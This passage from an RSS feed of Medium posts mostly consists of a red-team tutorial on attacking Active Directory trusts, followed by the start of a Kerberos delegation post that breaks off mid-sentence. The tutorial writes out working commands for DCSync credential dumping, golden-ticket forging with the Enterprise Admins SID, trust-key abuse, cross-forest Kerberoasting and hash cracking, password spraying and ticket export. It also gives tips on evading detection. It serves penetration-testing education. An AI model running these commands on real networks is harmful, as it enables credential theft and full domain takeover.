href="https://github.com/fortra/impacket">https://github.com/fortra/impacket</a></li><li>Kerbrute: <a href="https://github.com/ropnop/kerbrute">https://github.com/ropnop/kerbrute</a></li><li>Microsoft — Guidance to help mitigate Kerberoasting (October 2024): <a href="https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/">https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/</a></li><li>NetExec Wiki — Kerberoasting: <a href="https://www.netexec.wiki/ldap-protocol/kerberoasting">https://www.netexec.wiki/ldap-protocol/kerberoasting</a></li><li>BlackFog — Kerberoasting Attack Explained: <a href="https://www.blackfog.com/kerberoasting-attack-explained/">https://www.blackfog.com/kerberoasting-attack-explained/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3c49becd96a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Active Directory Trust Relationships: From Domain to Forest Compromise]]></title>
            <link>https://medium.com/@3xploit/attacking-active-directory-trust-relationships-from-domain-to-forest-compromise-9c746830f0ae?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c746830f0ae</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 10:51:27 GMT</pubDate>
            <atom:updated>2026-07-02T10:51:27.584Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frMEwRvt5m2N_4Dfia0URA.png" /></figure><p>Most organizations think in terms of domains. They harden their domain controllers, they run vulnerability scans, they look at Kerberoastable accounts. What they rarely think about is what happens when their domain is part of a larger trust mesh and an attacker uses that trust relationship as a bridge to walk from a compromised child domain straight into the forest root, or from a partner organization’s network into their own.</p><p>Trust relationships are one of the most consistently overlooked attack surfaces in Active Directory. They’re configured once, usually during an acquisition, a migration, or a structural reorganization, and then they’re largely forgotten about. Nobody removes them when the business reason for them disappears. Nobody audits the cross-domain group memberships that accumulate over time. Nobody checks whether SID filtering is actually enforced. The trust just sits there, quietly expanding the attack surface of every domain it touches.</p><h3>How Trusts Actually Work</h3><p>A trust relationship in Active Directory is a mechanism that allows users in one domain to authenticate and access resources in another. The authentication path between trusted domains runs over Kerberos, and understanding the Kerberos referral process is the foundation for understanding every attack in this category.</p><p>When a user in child.corp.local wants to access a resource in corp.local, the following happens. The user&#39;s KDC in child.corp.local receives the request and recognizes that the target resource is in a different domain. It issues a <strong>referral ticket, </strong>which is also called an inter-realm TGT, encrypted with a shared secret called the <strong>trust key</strong>. This inter-realm TGT is presented to the KDC in corp.local, which decrypts it using its copy of the trust key, validates the user&#39;s identity and the SIDs in the ticket&#39;s PAC, and if everything checks out, issues a service ticket for the requested resource.</p><p>The trust key is essentially a shared password between the two domains. It’s stored as a special account(the trust account), in both domains and is rotated periodically.</p><h3>Trust Types You Need to Understand</h3><p>Not all trusts behave the same way, and which attacks apply depends heavily on the trust type you are dealing with.</p><p><strong>Parent-Child trust</strong>: A Parent-Child trust is created automatically when a new domain is added to an existing forest. child.corp.local and corp.local have a parent-child trust the moment the child domain is created. These trusts are always bidirectional, always transitive, and critically, SID filtering is disabled on them by default because Microsoft treats all domains within the same forest as a single security boundary. This is the trust type where SID history injection works most reliably<strong>.</strong></p><p><strong>Tree-Root trust: </strong>A Tree-Root trust connects the root of a new domain tree to the forest root. Like parent-child, these are bidirectional, transitive, and created automatically. They behave identically to parent-child trusts from an attacker’s perspective.</p><p><strong>Forest trust: </strong>A Forest trust connects two separate forests. These require manual creation by a domain administrator in both forests. They can be bidirectional or one-way. By default, SID filtering is enabled on forest trusts, which limits certain attacks but doesn’t eliminate them entirely. Forest trusts can be either transitive within the forest or not, depending on configuration.</p><p><strong>External trust: </strong>An External trust connects a domain in one forest to a domain in another forest without creating a full forest trust. External trusts are non-transitive and SID filtering is enabled by default.</p><p><strong>Shortcut trust: </strong>A Shortcut trust exists only within a forest and is created manually to speed up authentication between domains that would otherwise require traversing a long trust path. They don’t introduce new attack surface beyond what the parent-child chain already provides.</p><p>For the purposes of attacks, what matters most is whether a trust is <strong>bidirectional or one-way</strong>, whether it is <strong>intra-forest or cross-forest</strong>, and whether <strong>SID filtering</strong> is enabled.</p><h3>Enumeration</h3><p>Before running any attack, you need a complete picture of the trust landscape. The following commands cover enumeration from both Windows and Linux.</p><pre># Built-in AD module to enumerate all trusts from the current domain<br><br>Get-ADTrust -Filter *<br><br># PowerView — more attack-friendly output<br>Get-DomainTrust<br>Get-DomainTrust -Domain corp.local<br><br># Map ALL trusts reachable from the current machine (recursively follows transitive trusts)<br>Get-DomainTrustMapping<br><br># .NET method — useful when PowerShell module loading is restricted<br>([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()<br><br># Forest-level trust enumeration<br>([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()</pre><p>Sample output from Get-DomainTrust:</p><pre>SourceName      : child.corp.local<br>TargetName      : corp.local<br>TrustType       : WITHIN_FOREST<br>TrustAttributes : WITHIN_FOREST<br>TrustDirection  : Bidirectional<br>WhenCreated     : 1/15/2020 10:22:14 AM<br>WhenChanged     : 3/01/2025 08:00:00 AM</pre><p><strong>From Linux:</strong></p><pre># Impacket — enumerate domain trusts<br>impacket-ldapdomaindump \<br>  -u &#39;corp.local\jsmith&#39; \<br>  -p &#39;Password123!&#39; \<br>  10.10.10.10<br><br># NetExec — trust enumeration<br>nxc ldap 10.10.10.10 \<br>  -u jsmith \<br>  -p &#39;Password123!&#39; \<br>  -M enum_trusts</pre><p>For BloodHound, SharpHound automatically collects trust data when run with the All collection method. Once imported, run this Cypher query to visualize the full trust graph:</p><pre>MATCH p=(n:Domain)-[:TrustedBy*1..]-&gt;(m:Domain)<br>RETURN p</pre><p>This gives you a directed graph showing which domains trust which, and through how many hops. The direction of the edge in BloodHound’s trust mapping indicates direction of access, not direction of trust . Pay attention to which way the arrows point.</p><p>Key fields to inspect: TrustDirection tells you which way access flows, TrustAttributes tells you if SID filtering is in play (FILTER_SIDS means it&#39;s enabled), and SIDFilteringQuarantined being False on an intra-forest trust confirms you can inject arbitrary SIDs through it.</p><h3>Intra-Forest Attacks: Child Domain to Forest Root</h3><h4>The Security Boundary Problem</h4><p>The forest is the security boundary in Active Directory, not the domain. Within a single forest, every domain implicitly trusts every other domain. Domain Admins in a child domain do not have admin rights across the forest, but they can reach the forest root through trust exploitation because SID filtering is not applied to intra-forest trusts.</p><p><strong>Enterprise Admins:</strong> The group with admin rights across the entire forest, lives in the forest root domain only. But once you have Domain Admin in any child domain, you are one trust exploitation step away from those Enterprise Admins privileges, regardless of what controls exist at the forest root level. This is a fact of Active Directory architecture that cannot be remediated without restructuring the forest itself.</p><h4>SID History Injection</h4><p>SID History is an Active Directory attribute that exists to support domain migrations. When user accounts are migrated from one domain to another, their original SID is preserved in the SIDHistory attribute of their new account. This allows them to continue accessing resources in the old domain that were ACL&#39;d to their original SID, without requiring those ACLs to be updated.</p><p>When a Kerberos TGT is issued, the PAC (Privilege Attribute Certificate) inside the ticket contains the user’s SIDs, their primary SID plus any SIDs from their SIDHistory. When the user crosses a trust boundary and presents their inter-realm TGT to the trusting domain&#39;s KDC, the KDC reads those SIDs to determine what access the user should have. For intra-forest trusts, no SID filtering is applied, so all SIDs in the PAC are honored, including any SIDs that shouldn&#39;t be there.</p><p>The attack works by forging a TGT with the Enterprise Admins SID (S-1-5-21-&lt;RootDomainSID&gt;-519) in the ExtraSids field of the PAC. When this ticket crosses the trust to the parent domain, the parent KDC sees what appears to be a user with Enterprise Admins membership and grants the corresponding level of access. The Enterprise Admins group has admin rights across every domain in the forest, so the result is full forest compromise.</p><p>To execute this, you need the krbtgt hash of the child domain and the SID of the Enterprise Admins group in the root domain.</p><p><strong>Step 1: Dump the child domain’s krbtgt hash</strong></p><pre># From Linux — DCSync against the child DC<br>impacket-secretsdump \<br>  &#39;child.corp.local/administrator:Password123!@childdc.child.corp.local&#39; \<br>  -just-dc-user krbtgt<br><br># Output:<br># krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1bfaf6e4b4ed03caeb634c5c0de9b3f4:::</pre><pre>#From Windows — Mimikatz DCSync<br><br>mimikatz # lsadump::dcsync /domain:child.corp.local /user:krbtgt</pre><p>Step 2: Get the SIDs you need</p><p><strong>From linux:</strong></p><p>Get the child domain SID</p><pre>impacket-getPac \<br>  -targetUser administrator \<br>  &#39;child.corp.local/administrator:Password123!&#39;<br><br>#With ldapsearch<br>ldapsearch -H ldap://childdc.child.corp.local \<br>  -D &#39;administrator@child.corp.local&#39; \<br>  -w &#39;Password123!&#39; \<br>  -b &#39;DC=child,DC=corp,DC=local&#39; \<br>  &#39;(objectClass=domain)&#39; objectSid<br><br>#With NetExec<br>nxc ldap childdc.child.corp.local \<br>  -u administrator \<br>  -p &#39;Password123!&#39; \<br>  -d child.corp.local \<br>  --get-sid</pre><p>Get the root domain SID</p><pre>nxc ldap rootdc.corp.local \<br>  -u administrator \<br>  -p &#39;Password123!&#39; \<br>  -d corp.local \<br>  --get-sid<br><br># Or with Impacket lookupsid<br>impacket-lookupsid \<br>  &#39;child.corp.local/administrator:Password123!@rootdc.corp.local&#39; \<br>  | grep &quot;Domain SID&quot;</pre><p><strong>From windows:</strong></p><pre># Child domain SID<br>Get-DomainSID -Domain child.corp.local<br><br># Example: S-1-5-21-1111111111-2222222222-3333333333<br><br><br># Root domain SID (Enterprise Admins SID = RootSID + -519)<br>Get-DomainSID -Domain corp.local<br><br># Example: S-1-5-21-4444444444-5555555555-6666666666<br># Enterprise Admins SID: S-1-5-21-4444444444-5555555555-6666666666-519</pre><p><strong>Step 3: Forge the Golden Ticket with the Enterprise Admins SID in ExtraSids</strong></p><p>From Windows with Mimikatz:</p><pre>mimikatz # kerberos::golden <br>  /user:Administrator <br>  /domain:child.corp.local <br>  /sid:S-1-5-21-1111111111-2222222222-3333333333 <br>  /krbtgt:1bfaf6e4b4ed03caeb634c5c0de9b3f4 <br>  /sids:S-1-5-21-4444444444-5555555555-6666666666-519 <br>  /ptt<br><br>#Verify access to the root domain DC<br>dir \\rootdc.corp.local\C$</pre><p>From Linux with Impacket’s ticketer:</p><pre># Forge the ticket offline<br>impacket-ticketer \<br>  -nthash 1bfaf6e4b4ed03caeb634c5c0de9b3f4 \<br>  -domain-sid S-1-5-21-1111111111-2222222222-3333333333 \<br>  -domain child.corp.local \<br>  -extra-sid S-1-5-21-4444444444-5555555555-6666666666-519 \<br>  Administrator<br><br># The ticket is saved to Administrator.ccache<br>export KRB5CCNAME=Administrator.ccache<br><br># DCSync the entire forest root<br>impacket-secretsdump \<br>  -k -no-pass \<br>  corp.local/Administrator@rootdc.corp.local</pre><p>With Rubeus for better OPSEC (AES256 instead of RC4):</p><pre># First get the AES256 key for krbtgt<br>mimikatz # lsadump::dcsync /domain:child.corp.local /user:krbtgt<br><br><br># Forge with AES256 — harder to detect than RC4<br>Rubeus.exe golden <br>  /aes256:&lt;krbtgt_AES256_key&gt; <br>  /user:Administrator <br>  /domain:child.corp.local <br>  /sid:S-1-5-21-1111111111-2222222222-3333333333 <br>  /sids:S-1-5-21-4444444444-5555555555-6666666666-519 <br>  /dc:rootdc.corp.local <br>  /ptt</pre><p>One note on OPSEC: RC4 (NT hash) based golden tickets are increasingly flagged by EDR and SIEM solutions because RC4 tickets look anomalous on modern environments that have moved to AES. Always prefer AES256 when you have it, which you will after a DCSync.</p><h4>Trust Key Abuse</h4><p>The alternative to SID history injection via a golden ticket is to dump the <strong>trust key</strong> and forge an inter-realm TGT directly. The trust account (named after the trusting domain with a $ suffix) stores this key, and lsadump::trust in Mimikatz retrieves it from the LSASS process on the DC or from NTDS via DCSync.</p><pre># Dump the trust key (requires SYSTEM on the child DC)<br>mimikatz # lsadump::trust /patch<br><br># Output includes:<br># [ In ] child.corp.local -&gt; corp.local<br>#    * aes256_hmac       : &lt;trust_aes_key&gt;<br>#    * rc4_hmac_nt       : &lt;trust_rc4_hash&gt;</pre><pre># Forge an inter-realm TGT using the trust key<br>mimikatz # kerberos::golden ^<br>  /user:Administrator <br>  /domain:child.corp.local <br>  /sid:S-1-5-21-1111111111-2222222222-3333333333 <br>  /sids:S-1-5-21-4444444444-5555555555-6666666666-519 <br>  /rc4:&lt;trust_rc4_hash&gt; <br>  /service:krbtgt <br>  /target:corp.local <br>  /ticket:trust_ticket.kirbi<br><br>REM Use Rubeus to request a TGS from the root domain using the inter-realm TGT<br>Rubeus.exe asktgs <br>  /ticket:trust_ticket.kirbi <br>  /service:cifs/rootdc.corp.local <br>  /dc:rootdc.corp.local <br>  /ptt<br><br>dir \\rootdc.corp.local\C$</pre><p>In practice, as Dirk-jan Mollema has documented, you rarely need to forge inter-realm tickets explicitly. A golden ticket with the Enterprise Admins SID in ExtraSids and then letting Impacket or Rubeus handle the Kerberos referrals automatically is simpler and less error-prone. The inter-realm ticket approach is worth knowing for environments where automatic referrals don’t work cleanly.</p><h3>Cross-Forest Attacks</h3><p>Forest trusts are a different category. When SID filtering is enabled (the default for forest trusts), you cannot inject arbitrary SIDs across the boundary, the receiving KDC will strip any SIDs with a RID below 1000 and any SIDs not belonging to the trusted forest. This eliminates the SID history injection path. But it doesn’t eliminate everything.</p><h4>Kerberoasting Across Forest Trusts</h4><p>Kerberos attacks such as Kerberoasting can be performed across trusts depending on the trust direction. In a situation where you’re positioned in a domain with either an inbound or bidirectional trust, you can likely Kerberoast service accounts in the trusted domain. Sometimes you cannot escalate privileges in your current domain but can obtain a TGS and crack a hash for an administrative user in another domain that has Domain or Enterprise Admin privileges in both.</p><p>The prerequisites are minimal: a valid set of credentials in the trusting domain and a trust that allows TGT delegation or authentication flow toward the target domain.</p><p><strong>From windows:</strong></p><pre># Enumerate SPNs in the trusted forest<br>Get-DomainUser -SPN -Domain trustedforest.local | Select-Object SamAccountName, ServicePrincipalName<br><br># Sample output:<br># samaccountname   serviceprincipalname<br># mssqlsvc         MSSQLSvc/sql01.trustedforest.local:1433</pre><pre># Kerberoast the target account across the trust<br>Rubeus.exe kerberoast <br>  /domain:trustedforest.local <br>  /user:mssqlsvc <br>  /nowrap<br><br># Output:<br># [*] Target Domain     : TRUSTEDFOREST.LOCAL<br># [*] Total Kerberoastable users: 1<br># [*] Hash: $krb5tgs$23$*mssqlsvc$TRUSTEDFOREST.LOCAL$MSSQLSvc/sql01...</pre><p><strong>From Linux:</strong></p><pre># GetUserSPNs with -target-domain flag<br>impacket-GetUserSPNs \<br>  corp.local/jsmith:&#39;Password123!&#39; \<br>  -target-domain trustedforest.local \<br>  -dc-ip 10.10.10.10 \<br>  -request \<br>  -outputfile trustedforest_hashes.txt<br><br># Crack the hash<br>hashcat -m 13100 trustedforest_hashes.txt /usr/share/wordlists/rockyou.txt</pre><p>If the cracked account has elevated privileges in the trusted domain, access becomes trivial. It’s also worth running a password spray with the cracked password against other accounts in both domains because if the same administrators manage both forests, password reuse across the boundary is common.</p><h4>Foreign Security Principals and Group Membership Abuse</h4><p>Only Domain Local Groups allow security principals from outside their forest. It is not uncommon to see a highly privileged user from Domain A as a member of the built-in Administrators group in Domain B when dealing with a bidirectional forest trust relationship. This is called a <strong>Foreign Security Principal</strong> (FSP), an object in Active Directory’s ForeignSecurityPrincipals container that represents a security principal from an external forest or domain.</p><p>FSPs are created automatically when an account from a trusted domain is added to a Domain Local group. Most organizations are entirely unaware of what FSPs exist in their environment or what groups they belong to. In enterprise environments that have grown through acquisitions or mergers, these memberships can be extensive and highly privileged.</p><p>From windows:</p><pre># Find all foreign security principals in the current domain<br>Get-DomainObject -SearchBase &quot;CN=ForeignSecurityPrincipals,DC=corp,DC=local&quot;<br><br># Find groups with members from outside the current domain<br>Get-DomainForeignGroupMember -Domain trustedforest.local<br><br># Sample output:<br># GroupDomain              : TRUSTEDFOREST.LOCAL<br># GroupName                : Administrators<br># MemberDomain             : TRUSTEDFOREST.LOCAL<br># MemberName               : S-1-5-21-3842939050-3880317879-2865463114-500<br># MemberDistinguishedName  : CN=S-1-5-21-...,CN=ForeignSecurityPrincipals,...<br><br># Resolve the SID to a human-readable account name<br>Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500<br># Result: CORP\administrator</pre><p>From Linux:</p><pre># BloodHound Python — collects FSP data during ingestion<br>bloodhound-python \<br>  -u jsmith \<br>  -p &#39;Password123!&#39; \<br>  -d corp.local \<br>  -dc 10.10.10.10 \<br>  -c All \<br>  --zip<br><br># Then in BloodHound Cypher — find foreign members of privileged groups<br>MATCH p=(n:User)-[:MemberOf]-&gt;(g:Group)<br>WHERE g.name =~ &quot;(?i).*admin.*&quot;<br>AND n.domain &lt;&gt; g.domain<br>RETURN p</pre><p>If you find that the administrator account from corp.local is a member of the Administrators group in trustedforest.local, and you&#39;ve compromised that administrator account in corp.local, you already have full administrative access to trustedforest.local without needing to perform any additional exploitation steps. This is how trust relationships enable instant lateral movement: not through Kerberos ticket manipulation, but through legitimate group memberships that nobody noticed.</p><h4>Password Reuse and Account Overlap</h4><p>This one is not technically a Kerberos attack but it’s worth covering because it’s consistently effective. Organizations that manage multiple forests often maintain similar naming conventions and similar password policies across them. When the same IT team is responsible for both forests, the same accounts with the same passwords frequently exist on both sides.</p><p>After compromising a domain admin account in one forest, try the credentials directly against the other forest:</p><pre># Spray the cracked password against the target forest&#39;s DC<br>netexec smb 10.10.20.10 \<br>  -u administrator \<br>  -p &#39;CrackedPassword123!&#39; \<br>  -d trustedforest.local<br><br># If any accounts reuse the password, you&#39;ll see:<br># [+] trustedforest.local\administrator:CrackedPassword123! (Pwn3d!)</pre><pre># Try a targeted spray against known high-value accounts<br>netexec smb 10.10.20.10 \<br>  -u admin_accounts.txt \<br>  -p &#39;CrackedPassword123!&#39; \<br>  -d trustedforest.local \<br>  --continue-on-success</pre><p>If we can Kerberoast across a trust and have run out of options in the current domain, it is worth attempting a single password spray with the cracked password, as there is a possibility that it could be used for other service accounts if the same admins are in charge of both domains.</p><h4>Unconstrained Delegation Across Forest Trusts</h4><p>Unconstrained delegation is dangerous on its own, but it takes on additional significance across forest trusts. If a machine in corp.local is configured for unconstrained delegation and has a bidirectional forest trust with trustedforest.local, users from trustedforest.local who authenticate to that machine will have their TGTs cached there, TGTs for the trusted forest, not just the local one.</p><pre># Find machines with unconstrained delegation across both domains<br>Get-DomainComputer -Unconstrained -Domain corp.local | Select-Object DNSHostName<br>Get-DomainComputer -Unconstrained -Domain trustedforest.local | Select-Object DNSHostName<br><br># If you&#39;re on an unconstrained delegation machine and a cross-forest user authenticates,<br># their TGT will be in memory — dump it<br>mimikatz # sekurlsa::tickets /export<br><br># Look for tickets from the trusted forest<br>dir | findstr trustedforest</pre><p>The reason this matters: if an admin from trustedforest.local has a habit of authenticating to a service running on your compromised unconstrained delegation machine, their TGT gives you a foothold in the trusted forest without needing to crack any credentials or exploit any trust mechanisms directly.</p><h3>SID Filtering</h3><p>SID filtering is the primary control that Microsoft provides against cross-domain SID injection attacks. Understanding exactly what it does and what it doesn’t do is important for knowing which attacks are viable in which configurations.</p><p>When SID filtering is enabled on a trust, the receiving KDC strips any SIDs from the PAC that don’t belong to the trusted domain. Specifically, it removes any SIDs with a RID below 1000 (which are built-in groups like Domain Admins, Enterprise Admins, etc.) and any SIDs from domains other than the directly trusted one. This prevents the ExtraSids injection technique that works on intra-forest trusts.</p><p>However, SID filtering is disabled by default on intra-forest (parent-child and tree-root) trusts. Microsoft’s reasoning is that all domains within a forest are administratively unified, so filtering is unnecessary. This is exactly the condition that makes the child-to-parent SID history injection attack work.</p><p>For external forest trusts, SID filtering is enabled by default, but there are still things that pass through. SIDs belonging to the trusted forest’s users pass through normally, it’s the injected SIDs that are filtered. This means Kerberoasting (which doesn’t involve SID injection), foreign group membership abuse, and password reuse all remain viable even when SID filtering is fully enabled.</p><p>There is also a configuration called <strong>Selective Authentication</strong> that can be applied to forest trusts, which restricts which resources from the trusting forest authenticated users from the trusted forest can access. This is the most restrictive configuration and significantly reduces the attack surface of cross-forest trusts. Very few organizations enable it because it adds administrative overhead.</p><p>Check the SID filtering status of trusts in your environment:</p><pre>Get-ADTrust -Filter * | Select-Object Name, Direction, SIDFilteringQuarantined, SIDFilteringForestAware, SelectiveAuthentication<br><br># SIDFilteringQuarantined = True means SID filtering is active (external/forest trusts)<br># SIDFilteringQuarantined = False on intra-forest trusts is expected and is where injection works<br># SelectiveAuthentication = False means ANY authenticated user from the trusted domain can attempt auth</pre><h3>MSSQL Linked Server Hopping Through Trusts</h3><p>This is an often overlooked lateral movement path that becomes particularly powerful in environments with trust relationships. MSSQL supports the concept of <strong>Linked Servers, </strong>connections from one SQL Server instance to another that allow queries to be executed remotely. These linked server relationships frequently traverse domain and even forest trust boundaries, following wherever the database infrastructure has grown.</p><p>If you compromise credentials for an MSSQL service account or gain access to a SQL instance in one domain, the linked server chain can take you into domains and forests that you have no direct access to.</p><p>From windows:</p><pre># Import PowerUpSQL<br>Import-Module PowerUpSQL.ps1<br><br># Enumerate accessible SQL instances in the current domain<br>Get-SQLInstanceDomain | Get-SQLConnectionTest | Where-Object {$_.Status -eq &quot;Accessible&quot;}<br><br># Find all linked servers from an accessible instance<br>Get-SQLServerLink -Instance sql01.corp.local -Verbose<br><br># Sample output:<br># Instance         : sql01.corp.local<br># LinkedInstance   : sql01.trustedforest.local<br># DatabaseLinkName : sql01.trustedforest.local<br># IsLocal          : False</pre><p>Once you confirm a linked server relationship exists across a trust boundary, connect to the instance and query through the link to check your execution context on the remote side:</p><pre># Check your user context on the remote instance<br>Get-SQLQuery -Instance sql01.corp.local -Query &quot;SELECT * FROM OPENQUERY([sql01.trustedforest.local], &#39;SELECT SYSTEM_USER, USER_NAME()&#39;)&quot;<br><br># Crawl all linked servers automatically and attempt privilege escalation<br>Get-SQLServerLinkCrawl -Instance sql01.corp.local -Verbose<br><br># Attempt automated privilege escalation through the linked server chain<br>Invoke-SQLEscalatePriv -Instance sql01.corp.local -Verbose</pre><p>From Linux, the same enumeration and query execution is handled through impacket-mssqlclient:</p><pre># Connect to the SQL instance<br>impacket-mssqlclient \<br>  corp.local/jsmith:&#39;Password123!&#39;@sql01.corp.local \<br>  -windows-auth<br><br># Enumerate linked servers<br>SQL&gt; SELECT name, provider, data_source FROM sys.servers WHERE is_linked = 1<br><br># Query through the linked server to confirm access<br>SQL&gt; SELECT * FROM OPENQUERY([sql01.trustedforest.local], &#39;SELECT SYSTEM_USER, USER_NAME()&#39;)</pre><p>Database links also work across Forest Trust. A database link allows a SQL Server to access other resources like other SQL Servers. If there are two linked SQL Servers, stored procedures can be executed on them. This means a single compromised SQL instance in one forest can potentially chain through multiple linked servers across multiple trust boundaries and give you code execution in domains you never directly touched.</p><h3>Enumerating ACLs Across Trust Boundaries</h3><p>Beyond group memberships and Kerberos attacks, it’s worth checking for cross-domain ACL relationships — cases where an account from one domain has been granted permissions directly on objects in another domain. These don’t show up in the ForeignSecurityPrincipals container because they don&#39;t require group membership, but they can be just as powerful.</p><p>The purpose of establishing a trust is to allow users from one domain to access resources — like the local Administrators group on a server — to be nested in groups, or to otherwise be used as security principals in another domain for AD object ACLs</p><pre># Find ACEs where the principal is from a different domain (cross-domain ACL entries)<br>Get-DomainObjectAcl -Domain trustedforest.local -ResolveGUIDs |<br>  Where-Object {$_.SecurityIdentifier -like &quot;S-1-5-21-&lt;corp_domain_sid&gt;*&quot;}<br><br># More targeted - check ACLs on specific high-value objects in the trusted domain<br>Get-DomainObjectAcl -Identity &quot;CN=Domain Admins,CN=Users,DC=trustedforest,DC=local&quot; \<br>  -Domain trustedforest.local \<br>  -ResolveGUIDs</pre><p>From Linux with BloodHound Python collecting cross-domain data:</p><pre># Run BloodHound collection against both domains<br>bloodhound-python \<br>  -u jsmith \<br>  -p &#39;Password123!&#39; \<br>  -d corp.local \<br>  -dc 10.10.10.10 \<br>  -c All \<br>  --zip<br><br>bloodhound-python \<br>  -u jsmith \<br>  -p &#39;Password123!&#39; \<br>  -d corp.local \<br>  --domain-controller 10.10.10.10 \<br>  --dns-tcp \<br>  -c All \<br>  --zip \<br>  -ns 10.10.20.10 \<br>  --auth-method kerberos</pre><p>Then in BloodHound’s Cypher interface:</p><pre># Find cross-domain control paths<br>MATCH p=(u:User {domain: &quot;CORP.LOCAL&quot;})-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner|Owns|AddMember]-&gt;(o)<br>WHERE o.domain = &quot;TRUSTEDFOREST.LOCAL&quot;<br>RETURN p</pre><h3>Summary</h3><p>Active Directory trust relationships are one of the most consistently overlooked corners of enterprise security. Organizations configure them during mergers, migrations, and restructuring, then forget about them. Nobody removes them when the business reason disappears. Nobody audits the cross-domain group memberships that accumulate over years. Nobody checks whether SID filtering is actually enforced. The trust just sits there, quietly expanding the attack surface of every domain it touches.</p><h3>References</h3><ul><li>Will Schroeder (harmj0y): A Guide to Attacking Domain Trusts: <a href="https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/">https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/</a></li><li>The Hacker Recipes (Trusts): <a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations">https://www.thehacker.recipes/ad/movement/kerberos/delegations</a></li><li>HackTricks: Abusing Active Directory ACLs/ACEs: <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse</a></li><li>Dirk-jan Mollema: Active Directory Forest Trusts Part 2: <a href="https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/">https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/</a></li><li>SpecterOps BloodHound-SpoofSIDHistory: <a href="https://bloodhound.specterops.io/resources/edges/spoof-sid-history">https://bloodhound.specterops.io/resources/edges/spoof-sid-history</a></li><li>Redfox Security-Domain Trusts Exploitation Playbook: <a href="https://www.redfoxsec.com/blog/domain-trusts-an-exploitation-playbook">https://www.redfoxsec.com/blog/domain-trusts-an-exploitation-playbook</a></li><li>PowerUpSQL: <a href="https://github.com/NetSPI/PowerUpSQL">https://github.com/NetSPI/PowerUpSQL</a></li><li>Impacket: <a href="https://github.com/fortra/impacket">https://github.com/fortra/impacket</a></li><li>PowerView (PowerSploit): <a href="https://github.com/PowerShellMafia/PowerSploit">https://github.com/PowerShellMafia/PowerSploit</a></li><li>ITM8-SID Filtering Explained: <a href="https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-3">https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-3</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c746830f0ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos Delegation Attacks: Unconstrained, Constrained, and RBCD]]></title>
            <link>https://medium.com/@3xploit/kerberos-delegation-attacks-unconstrained-constrained-and-rbcd-46f1c1d44d06?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/46f1c1d44d06</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Mon, 08 Jun 2026 11:38:19 GMT</pubDate>
            <atom:updated>2026-06-08T11:38:19.115Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G2Dn0JPXv6ULu6keliHqhg.png" /></figure><p>Kerberos delegation is one of those features that was designed to solve a legitimate problem and ended up creating a much bigger one. Understanding why it exists, and how each type evolved from the previous, is the only way to truly understand why the attacks work, and why they’re so hard to detect.</p><p>This post covers all three delegation types end to end: what each one is, the flaw that makes it exploitable, and exactly how attacks against each one are executed.</p><h3>Why Delegation Exists in the First Place</h3><p>Kerberos is a stateless authentication protocol. When a user authenticates to a service, the service gets proof that the user is who they say they are but it doesn’t automatically get the ability to act <em>as</em> that user anywhere else on the network. This creates a problem in multi-tier application architectures.</p><p>Consider a web application that a user logs into via Kerberos. The web app needs to query a backend SQL server and retrieve data specific to that user. Without delegation, the web app can authenticate to the SQL server using its own service account, but it can’t do so <em>as the user</em>. The SQL server gets a request from the web app, with no way to apply per-user permissions or row-level security tied to who originally initiated the request.</p><p>Kerberos delegation was designed to solve this exactly by enabling applications to authenticate securely on behalf of users when accessing resources. A front-end service acting on behalf of a user to call a backend API reflects a legitimate and well-controlled use of this mechanism.</p><p>Microsoft has implemented this three different ways over the years, each supposed to improve on the security of the last. Each has its own attack surface.</p><h3>Unconstrained Delegation</h3><p>Unconstrained Delegation is the original implementation, introduced in Windows 2000. The idea was straightforward: mark a service account or computer as trusted for delegation, and the Domain Controller will handle the rest. When a user authenticates to a service that has unconstrained delegation enabled, the DC doesn’t just give the service a ticket proving the user authenticated, it also packages the user’s full <strong>Ticket Granting Ticket</strong> (TGT) inside the service ticket and sends it along.</p><p>The service unwraps that TGT and stores it in its own memory. Now the service has everything it needs to impersonate the user to <em>any</em> other service on the network, for as long as the TGT is valid. Once a service is trusted for unconstrained delegation, it effectively holds the user’s TGT and can impersonate the user to any service in the domain. This makes unconstrained delegation powerful but also dangerous if that service is compromised.</p><p>If you compromise a machine configured for unconstrained delegation, you inherit every TGT that has been cached in its memory, from every user that authenticated to it. If a domain admin ever logged into that machine, their TGT is sitting there waiting for you. And if you pair this with authentication coercion techniques, you don’t even have to wait for a privileged user to show up organically.</p><p>When a user authenticates to a service configured with Unconstrained Delegation, the Domain Controller includes the user’s Ticket Granting Ticket (TGT) inside the 